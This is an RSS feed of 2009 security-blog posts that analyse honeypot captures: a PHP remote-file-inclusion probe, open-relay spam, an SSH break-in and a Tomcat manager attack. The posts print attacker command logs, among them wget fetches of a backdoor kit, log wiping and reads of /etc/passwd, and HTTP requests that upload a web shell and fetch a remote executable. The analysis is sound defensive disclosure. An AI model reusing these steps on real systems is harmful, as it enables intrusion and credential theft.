<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Fitsec - Information Security Blog</title>
	<atom:link href="http://www.fitsec.com/en/blog/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://www.fitsec.com/en/blog</link>
	<description>Latest Information Security News</description>
	<lastBuildDate>Fri, 25 Sep 2009 20:07:53 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Intruders: Website exploitation</title>
		<link>http://www.fitsec.com/en/blog/?p=73</link>
		<comments>http://www.fitsec.com/en/blog/?p=73#comments</comments>
		<pubDate>Fri, 25 Sep 2009 20:06:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Information Security]]></category>
		<category><![CDATA[Intruders]]></category>

		<guid isPermaLink="false">http://www.fitsec.com/en/blog/?p=73</guid>
		<description><![CDATA[We decided to take a look at a bunch of different exploitation attemps that are thrown at our site every single day. Aside from the normal SQL-injection attemps we usually see a bigger bunch of various PHP remote file inclusion (RFI) attemps, so lets take a close look at one of them. We&#8217;ll omit the [...]]]></description>
			<content:encoded><![CDATA[<p>We decided to take a look at a bunch of different exploitation attemps that are thrown at our site every single day. Aside from the normal SQL-injection attemps we usually see a bigger bunch of various PHP remote file inclusion (RFI) attemps, so lets take a close look at one of them. We&#8217;ll omit the actual URL from the blog, suffice to say that the attacker tried to find a vulnerable PHPAdsNew installation.</p>
<p>So, we downloaded the URL that they tried to include:</p>
<div id="attachment_75" class="wp-caption aligncenter" style="width: 474px"><a href="http://www.fitsec.com/wpe/wp-content/uploads/2009/09/cpr.png"><img class="size-full wp-image-75 " title="RFI exploit" src="http://www.fitsec.com/wpe/wp-content/uploads/2009/09/cpr.png" alt="RFI exploit" width="464" height="170" /></a><p class="wp-caption-text">RFI exploit</p></div>
<p>Pretty easy to spot that it&#8217;s BASE64 encoded. The decoded contents will be passed to eval() which then executes the code. Let&#8217;s take a look at the decoded exploit:</p>
<p><a href="http://www.fitsec.com/wpe/wp-content/uploads/2009/09/base64decoded.png"><img class="aligncenter size-full wp-image-78" title="base64decoded" src="http://www.fitsec.com/wpe/wp-content/uploads/2009/09/base64decoded.png" alt="base64decoded" width="684" height="136" /></a></p>
<p>So, there&#8217;s still a small portion that is BASE64 encoded, but let&#8217;s see what the other parts do. You can see the script building a few string based on data it can get from the PHP environment, like the hostname of the server and whether the safe mode is on. It&#8217;ll will then send the data onwards to somewhere. The recipient address is still encoded and after decoding we can see that the recipient is:</p>
<p>fr33sh3ll@gmail.com</p>
<p>So, when ever the automated scripts the attacker is using successfully exploits a RFI vulnerable site the attacker will get an e-mail showing the vulnerable site and URL. That way he/she can later on pick a server from the e-mails and do about anything he/she wants.</p>
<p>There are several ways to make such attacks much harder to perform, like turning on the safe mode or toggling on the allow_url_fopen or allow_url_include (in some versions of php). More good/better tricks can be found for example on these two sites:</p>
<p><a href="http://www.madirish.net/?article=229" target="_blank">http://www.madirish.net/?article=229</a></p>
<p><a href="http://www.hardened-php.net/" target="_blank">http://www.hardened-php.net/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.fitsec.com/en/blog/?feed=rss2&amp;p=73</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Intruders: Spam cannon follow-up</title>
		<link>http://www.fitsec.com/en/blog/?p=59</link>
		<comments>http://www.fitsec.com/en/blog/?p=59#comments</comments>
		<pubDate>Sun, 10 May 2009 07:22:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Intruders]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://www.fitsec.com/en/blog/?p=59</guid>
		<description><![CDATA[So, about a week ago we first wrote about the data our smtpd honeypot had received. The count for first 3 hours was pretty meager, only around 12 thousand recipients.Now, a week after the initial spamflood began we go back to the honeypot for more statistics. During the week we noticed that in addition of [...]]]></description>
			<content:encoded><![CDATA[<p>So, about a week ago we first wrote about the data our smtpd honeypot <a title="Spam Cannon" href="http://www.fitsec.com/en/blog/?p=46" target="_blank">had received</a>. The count for first 3 hours was pretty meager, only around 12 thousand recipients.<span id="more-59"></span>Now, a week after the initial spamflood began we go back to the honeypot for more statistics. During the week we noticed that in addition of the original spammer sending spam to us the honeypot got selected by a 2000 host strong spam botnet as a relay also.</p>
<p>So, what are the numbers?</p>
<p>We took in 309202 spam messages that were meant for 3814594 receivers. So basically we managed to stop 3.8M spams during the research. Out of 3.8M recipients 3.5M had e-mail address under the .tw ccTLD.</p>
<p>Below a few samples of the stuff that was spamvertized:</p>
<p><a href="http://www.fitsec.com/wpe/wp-content/uploads/2009/05/spam1.jpg"><img class="aligncenter size-full wp-image-61" title="DVD spam" src="http://www.fitsec.com/wpe/wp-content/uploads/2009/05/spam1.jpg" alt="DVD spam" width="560" height="425" /></a></p>
<p><a href="http://www.fitsec.com/wpe/wp-content/uploads/2009/05/spam2.jpg"><img class="aligncenter size-full wp-image-64" title="Spam" src="http://www.fitsec.com/wpe/wp-content/uploads/2009/05/spam2.jpg" alt="Spam" width="710" height="905" /></a></p>
<p><a href="http://www.fitsec.com/wpe/wp-content/uploads/2009/05/spam3.jpg"><img class="aligncenter size-full wp-image-65" title="Food Spam" src="http://www.fitsec.com/wpe/wp-content/uploads/2009/05/spam3.jpg" alt="Food Spam" width="750" height="720" /></a></p>
<p><a href="http://www.fitsec.com/wpe/wp-content/uploads/2009/05/spam4.jpg"><img class="aligncenter size-full wp-image-66" title="Spam 4" src="http://www.fitsec.com/wpe/wp-content/uploads/2009/05/spam4.jpg" alt="Spam 4" width="766" height="705" /></a></p>
<p>It seems that the Video CD&#8217;s (VCD) are a pretty popular spam topic. We did not observe any pillpushing spams selling viagra or spams selling replica watches during the whole week.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.fitsec.com/en/blog/?feed=rss2&amp;p=59</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Intruders: Spam cannon</title>
		<link>http://www.fitsec.com/en/blog/?p=46</link>
		<comments>http://www.fitsec.com/en/blog/?p=46#comments</comments>
		<pubDate>Sat, 02 May 2009 07:29:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Intruders]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[open relay]]></category>

		<guid isPermaLink="false">http://www.fitsec.com/en/blog/?p=46</guid>
		<description><![CDATA[The next entry in the Intruders-series is an example of what will happen if an SMTP (mail) server is configured insecurely.So, we set up a SMTP honeypot that appears to be an open relay to outsiders. After setting it up we had to wait for a day before the first SMTP scanner knocked on the [...]]]></description>
			<content:encoded><![CDATA[<p>The next entry in the Intruders-series is an example of what will happen if an SMTP (mail) server is configured insecurely.<span id="more-46"></span>So, we set up a SMTP honeypot that appears to be an open relay to outsiders. After setting it up we had to wait for a day before the first SMTP scanner knocked on the honeypot. The first attempt wasn&#8217;t spam itself, but it was a test e-mail that the spammers use in an attempt to test whether the SMTP server they are querying really is an open relay or not:</p>
<p><em>OUT:       220 &lt;removed&gt; SMTP server ready to serve.<br />
IN :       HELO &lt;removed&gt;<br />
OUT:       250 &lt;removed&gt; Hello &lt;removed&gt;, pleased to meet you.<br />
IN :       MAIL FROM:&lt;k6u5f3s2k5@yahoo.com&gt;<br />
OUT:       250 OK<br />
IN :       RCPT TO:&lt;sseenndd1201@yahoo.com.hk&gt;<br />
OUT:       250 User not local; will forward<br />
IN :       DATA<br />
OUT:       354 Start mail input; end with &lt;CRLF&gt;.&lt;CRLF&gt;<br />
IN :       Subject: Super webscan open relay check succeded, hostname = &lt;removed&gt;<br />
IN :       .<br />
OUT:       250 OK<br />
IN :       QUIT</em></p>
<p>Since the spammers don&#8217;t start sending the spam through the SMTP server before they&#8217;ve successfully sent and received the above kind of testmail we decided to forward that one particular piece of mail ourselves. After we sent the mail, basically letting the spammer know that he has found a new open relay it took only 10 minutes for the spam to start rolling in.</p>
<p>Interestingly enough, great majority of the targets are in Taiwan. This could be due to us stumbling into the operations of a spammer who targets a small geolocation. But anyway, here are some numbers from the first 3 hours when the spam started flowing in:</p>
<p>In all, we received 1008 incoming spam messages that had 12877 recipients. So in average a single piece of spam mail had about 13 receivers. Out of the 1008 mails we extracted 990 unique URLs, leading to either the spamvertized site itself or into a picture displayed in the message body.</p>
<p>From the 990 unique URLs we found 878 unique DNS RRs (Resource Records)</p>
<p>All the spam messages we captured were written in chinese. Just out of interest we decided to visit one of the URLs to see what the spam was actually about. Was it Viagra? or Mortage spam? or for &#8220;Quality Replicas&#8221;? This is what we found:</p>
<p><img class="aligncenter size-full wp-image-52" title="Spamvertized site" src="http://www.fitsec.com/wpe/wp-content/uploads/2009/05/spam_dest.png" alt="Spamvertized site" width="624" height="706" /></p>
<p>So, Video CD&#8217;s&#8230; What could they contain so precious that someone wants to spam their existence to the millions? Could it be movies, not in theaters yet? We tossed the site into Google Translate and here are the results:</p>
<p>&#8220;<span style="background-color: #e6ecf9;" onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style="letter-spacing: 2px;">Genuine boxed <span style="color: #ff0000;">VCD</span> attached <span style="color: #ff0000;"><strong>12</strong> teaching manual</span></span></span>&#8221;</p>
<p>Teaching manuals!? In case Google made an error, we translated the content list also:</p>
<p><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style="color: #0000ff;">VCD1. Received the court summons, notices, judgments,</span> etc. <span style="color: #0000ff;">The first time, how to deal with?</span></span><br />
<span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style="color: #ff0000;">VCD2. Improper financial management刷爆cards,</span> and <span style="color: #ff0000;">owe to be debt, card slave how to do?</span></span><br />
<span onmouseover="_tipon(this)" onmouseout="_tipoff()">VCD3. Civil unions should pay attention to, it will have to do? Owe not yet been fraud, how to recover the money was owed?</span><br />
<span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style="color: #008000;">VCD4. On housing transactions, leasing matters Particular attention should be paid, they can not get the rent or a tenant refusing to move out, how to do?</span></span><br />
<span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style="color: #800000;">VCD5. Relating to marriage, divorce, adoption, unclaimed, custody, alimony should pay attention to?</span></span><br />
<span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style="color: #808000;">VCD6. Related to cases involved in an accident the attention vehicle damage insurance claims, injury claims</span></span><br />
<span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style="color: #0000ff;">VCD7. On the identity card (original copy) used by Notes? Related instruments (promissory notes, checks) of the relevant laws, lost applications,</span></span> <span onmouseover="_tipon(this)" onmouseout="_tipoff()"> <span style="color: #0000ff;">Movements, invasion and occupation?</span></span><br />
<span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style="color: #ff0000;">VCD8. What circumstances a lawyer must be the best? Resolve their legal problems in three steps</span></span><br />
<span onmouseover="_tipon(this)" onmouseout="_tipoff()">VCD9. Bureau of Investigation by the police or interviews, the transcripts for which we should pay attention right?</span><br />
<span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style="color: #008000;">VCD10. Books on various reconciliation, cut knot book, undertaking contract, agreement, letter of the law?</span></span><br />
<span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style="color: #800000;">VCD11. Husband and wife quarrel, family disputes or domestic violence should be how to deal with?</span></span><br />
<span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style="color: #808000;">VCD12. Relating to a variety of writing a will, inheritance of the relevant laws? How to make the best use of the township, the city of the functions of the mediation?</span></span></p>
<p>We can&#8217;t help but wonder how many buy teaching VCDs that have been spamvertized. We&#8217;ll continue tracking the honeypot and post updates at some point.<span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style="color: #808000;"><br />
</span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.fitsec.com/en/blog/?feed=rss2&amp;p=46</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Intruders: Weak SSH credentials</title>
		<link>http://www.fitsec.com/en/blog/?p=37</link>
		<comments>http://www.fitsec.com/en/blog/?p=37#comments</comments>
		<pubDate>Mon, 06 Apr 2009 17:16:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Intruders]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[openssh]]></category>
		<category><![CDATA[ssh]]></category>
		<category><![CDATA[trojan]]></category>

		<guid isPermaLink="false">http://www.fitsec.com/en/blog/?p=37</guid>
		<description><![CDATA[We will start the series with an example on weak SSH credential exploitation. We put up a Linux server that was on purpose set up so that remote root login was allowed. The root password was also set to something that was likely to get hit by SSH scanners most of the time.
We had to [...]]]></description>
			<content:encoded><![CDATA[<p>We will start the series with an example on weak SSH credential exploitation. We put up a Linux server that was on purpose set up so that remote root login was allowed. The root password was also set to something that was likely to get hit by SSH scanners most of the time.<span id="more-37"></span></p>
<p>We had to wait for a few hours for an attacker to arrive into the system. Below is a log of the commands he issued. We sanitized a few IP addresses and URLs for safety reasons.</p>
<p style="padding-left: 30px;">w<br />
cat /etc/passwd<br />
cat /proc/cpuinfo<br />
ls<br />
wget &lt;poistettu&gt;.com/i[BS]sirsky/bkd<br />
tar xzvf bkd<br />
cd ./–/<br />
./inst<br />
ls<br />
mv zap /bin<br />
cd ..<br />
rm -rf bkd<br />
rm -rf ./–/<br />
ls<br />
w<br />
zap &lt;ip.ip.ip.ip&gt;.d<br />
w<br />
ls<br />
ls<br />
cat /etc/hosts<br />
w<br />
ls<br />
ls -a<br />
wget &lt;poistettu&gt;.com/sirsky/code.tgz<br />
tar xzvf code.jpg<br />
[U-ARROW][BS][BS][BS]tgz<br />
cd .n<br />
./start da[BS][BS]adware<br />
cd ..<br />
rm -rf code.tgz<br />
w</p>
<p>Judging by the typoes in some of the commands there was a real user at the other end rather than an automated program. Also take note of the constant checking of &#8216;w&#8217;-command (who, shows all logged in users). We quess that had the attacker spotted someone else logged in the system they would have aborted the attack.</p>
<p>After first entering the system the attacker checked the list of users configured into the system from the /etc/passwd after which they dug up processor information from /proc/cpuinfo. Next, the attacker downloaded a file called &#8216;bkd&#8217; from an external URL. More on that file below.</p>
<p>After the attacker installed the &#8216;bkd&#8217; package he deleted the sourcecodes. In addition, he used a binary called &#8216;zap&#8217; to delete all logentries that had the IP he used in them.</p>
<p>Next, he checked the /etc/hosts file apparently in an attempt to see whether it would have revealed any other computers in the LAN that he could have attacked using the honeypot as a jumpgate.</p>
<p>Next, he downloaded an another package from the same site, this time the file was called code.tgz, and we will get to the contents later on. Again, after installation and activation the attacker removed all source codes from the system. At this point we decided to pull the plug on the attack and disconnected the machine to wait for further examination.</p>
<p>Now to the downloaded packages. The package that the intruder downloaded first, &#8216;bkd&#8217;, is a backdoored version of openSSH. The attacker had modified and added some code routines so that every time an user logs on to the compromised system their username, password and IP address is sent to the attacker via email. This allows the attacker to further compromise other systems. Furthermore, the backdoor in the downloaded openSSH allows the attacker to gain root access even if the root password is changed.</p>
<p>The other package that was downloaded and installed was a slightly modified copy of an IRC bot known as EnergyMech. With it the attacker can easily execute commands remotely in the compromised system without having to log onto the machine. The bot was set up to join a specific channel in a public IRC network, and when visited we spotted around 12 compromised machines in the botnet-to-be. We issued abuse mails to proper ISPs to get them cleaned.</p>
<p>We also managed to backtrack the attacker to a certain town in Romania. We also found other kinds of data that helped locate the name of the attacker as well as other data and all of it will be sent to Romanian law enforcement. Unfortunately not all attacks  are as easily backtracked as this was.</p>
<p>We intend to write more entries to the Intruders category and we aim to display a variety of attacks similar to the above.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.fitsec.com/en/blog/?feed=rss2&amp;p=37</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New category added</title>
		<link>http://www.fitsec.com/en/blog/?p=34</link>
		<comments>http://www.fitsec.com/en/blog/?p=34#comments</comments>
		<pubDate>Sun, 05 Apr 2009 20:12:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Information Security]]></category>
		<category><![CDATA[Intruders]]></category>

		<guid isPermaLink="false">http://www.fitsec.com/en/blog/?p=34</guid>
		<description><![CDATA[We are starting up a new series of blog entries. The category &#8216;Intruders&#8217; will contain various attacks that take place in the internet, and we strive to show real-life examples of them.
The number of exploitable machines and services in the internet is really dazzling and easily counted in tens, if not hundreds, of millions. Some [...]]]></description>
			<content:encoded><![CDATA[<p>We are starting up a new series of blog entries. The category &#8216;Intruders&#8217; will contain various attacks that take place in the internet, and we strive to show real-life examples of them.</p>
<p>The number of exploitable machines and services in the internet is really dazzling and easily counted in tens, if not hundreds, of millions. Some of the attacks aim to spread a piece of malware while others might be going for a spam cannon. All the entries in this category aim to expose what happens after the actual compromisation of the machine.</p>
<p>All the data will be gathered from live systems, solely set up for this purpose and constantly monitored. This allows us to pull the plug in time to prevent our systems being used to further compromise other machines.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.fitsec.com/en/blog/?feed=rss2&amp;p=34</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Scans for Tomcat installations with weak passwords</title>
		<link>http://www.fitsec.com/en/blog/?p=6</link>
		<comments>http://www.fitsec.com/en/blog/?p=6#comments</comments>
		<pubDate>Sat, 28 Mar 2009 20:51:40 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.fitsec.com/en/blog/?p=6</guid>
		<description><![CDATA[We noticed a bit strange HTTP scans that were probing for /manager/html on our honeypots. After taking a closer look at the request it became pretty apparent what they were looking for:
Fri Mar 25 00:30:31 EET 2009 &#8211; /190.210.x.x:3625 -
GET /manager/html HTTP/1.1
Referer: http://x.x.x.x:8080/manager/html
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE 3.01)
Host: x.x.x.x:8080
Connection: Close
Cache-Control: no-cache
Authorization: [...]]]></description>
			<content:encoded><![CDATA[<p>We noticed a bit strange HTTP scans that were probing for /manager/html on our honeypots. After taking a closer look at the request it became pretty apparent what they were looking for:<span id="more-6"></span></p>
<blockquote><p>Fri Mar 25 00:30:31 EET 2009 &#8211; /190.210.x.x:3625 -</p>
<p>GET /manager/html HTTP/1.1<br />
Referer: http://x.x.x.x:8080/manager/html<br />
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE 3.01)<br />
Host: x.x.x.x:8080<br />
Connection: Close<br />
Cache-Control: no-cache<br />
Authorization: Basic YWRtaW46YWRtaW4=</p></blockquote>
<p>So, pretty obviously someone is scanning for <a title="Apache Tomcat" href="http://tomcat.apache.org/" target="_blank">Tomcat</a> installations that have the manager application installed and using admin:admin as credentials. Instead of fiddling with low interaction honeypots we set up a live Tomcat installation with the above credentials and put a machine between the Tomcat and the router to run a tcpdump. After a day of waiting and watching an attacker came by:</p>
<blockquote><p>190.26.x.x &#8211; admin [26/Mar/2009:21:32:13 -0000] &#8220;GET /manager/html HTTP/1.1&#8243; 200 8714<br />
190.26.x.x &#8211; admin [26/Mar/2009:21:32:13 -0000] &#8220;POST /manager/html/upload HTTP/1.0&#8243; 200 8747<br />
190.26.x.x &#8211; - [26/Mar/2009:21:32:15 -0000] &#8220;GET /killfexcepshell/index.jsp HTTP/1.1&#8243; 404 763<br />
190.26.x.x &#8211; admin [26/Mar/2009:21:32:38 -0000] &#8220;POST /manager/html/upload HTTP/1.0&#8243; 200 9377<br />
190.26.x.x &#8211; - [26/Mar/2009:21:32:43 -0000] &#8220;GET /killfexcepshell/index.jsp HTTP/1.1&#8243; 200 48</p></blockquote>
<p>As we can see, after probing the honeypot and seeing that it has a Tomcat server with weak passwords it uploads something:</p>
<blockquote><p>POST /manager/html/upload HTTP/1.0<br />
Connection: Keep-Alive<br />
Content-Type: multipart/form-data; boundary=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;032509203251046<br />
Content-Length: 2495<br />
Host: x.x.x.x:8080<br />
Accept: text/html, */*<br />
Accept-Language: zh-cn<br />
Referer: http://x.x.x.x:8080/manager/html<br />
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)<br />
Authorization: Basic YWRtaW46YWRtaW4=<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;032509203251046<br />
Content-Disposition: form-data; name=&#8221;deployWar&#8221;; filename=&#8221;C:\WINDOWS\system32\mui\fexcep\killfexcepshell.war&#8221;<br />
Content-Type: application/x-zip-compressed</p></blockquote>
<p>And what does the WAR contain? This:</p>
<p><img class="aligncenter size-full wp-image-13" title="cexcep" src="http://www.fitsec.com/wpe/wp-content/uploads/2009/03/cexcep.png" alt="cexcep" width="512" height="142" /></p>
<p>As we can see from the POST, the infection is most likely coming from a Windows OS. Something that struck my eye was that even though the IP address is in Colombia the malware uses &#8220;Accept-Language: zh-cn&#8221; which basically suggests Chinese origin for the malware. Another interesting point is that the attacker downloaded the GIF image files that appear in the admin panel. That suggests it&#8217;s not a custom bot and propably more likely something that is running a hidden Internet Explorer window. But let&#8217;s check the rest.</p>
<p>Once it has succesfully uploaded, what does it do? It does only one request any: GET /killfexcepshell/index.jsp and after that nada.</p>
<p>So let&#8217;s take a closer look of the last request:</p>
<blockquote><p>GET /killfexcepshell/index.jsp HTTP/1.1<br />
Referer: http://x.x.x.x:8080/killfexcepshell/index.jsp<br />
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; IE 7)<br />
Host: x.x.x.x:8080<br />
Connection: Close<br />
Cache-Control: no-cache<br />
Cache-Vip-Url:http://www.&lt;hidden&gt;.cn/tomcat.exe</p></blockquote>
<p>And the last response:</p>
<blockquote><p>HTTP/1.1 200 OK<br />
Server: Apache-Coyote/1.1<br />
Set-Cookie: JSESSIONID=26482330DBFE986AC0705B4691E0C66D; Path=/killfexcepshell<br />
Content-Type: text/html;charset=utf-8<br />
Content-Length: 48<br />
Date: Thu, 26 Mar 2009 01:32:43 GMT<br />
Connection: close</p>
<p>Failure!Because Remote computer system is Linux!</p></blockquote>
<p>Umm, Cache-Vip-URL? Pointing to an executable in China? Must be Very Important indeed. Let&#8217;s take a look at what index.jsp does. (not necessarily in this order though.):</p>
<ul>
<li>It rewrites tomcat-users.xml to contain following:</li>
</ul>
<blockquote><p>&lt;?xml version=&#8217;1.0&#8242; encoding=&#8217;utf-8&#8242;?&gt;<br />
&lt;tomcat-users&gt;<br />
&lt;role rolename=&#8221;tomcat&#8221;/&gt;<br />
&lt;role rolename=&#8221;role1&#8243; /&gt;<br />
&lt;role rolename=&#8221;manager&#8221;/&gt;<br />
&lt;role rolename=&#8221;admin&#8221;/&gt;<br />
&lt;user username=&#8221;admin&#8221; password=&#8221;&lt;hidden&gt;&#8221; roles=&#8221;admin,manager&#8221;/&gt;<br />
&lt;/tomcat-users&gt;</p></blockquote>
<blockquote><p>Yes true, it cripples the administration capabilities from Tomcat.</p></blockquote>
<ul>
<li>Downloads a file. It fetches the URL-parameter from the Cache-Vip-URL. And after downloading it tries to execute but as you can see from the response it fails since our honeypot was linux.</li>
</ul>
<p>We have hidden the password from the snippet above since the authors have bug in their package. They&#8217;re supposed to generate a random password for each infected Tomcat but someone had a brainfart during the coding and the generation is not working so the password is static.</p>
<p>The binary that gets downloaded if the Tomcat server is running on Windows is a malware variant commonly going under the name PcClient. So basically a remote administration tool that connects to the C&amp;C at &lt;hidden&gt;.vicp.net, tcp port 126.</p>
<p>This is a good example of the blackhats trying to find any ways to wriggle into computers. Tomcat is not really too common to run into and Tomcat has not had default credentials for the manager application in past several years. Still, that vector is actively being scanned for a free passage into computers.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.fitsec.com/en/blog/?feed=rss2&amp;p=6</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
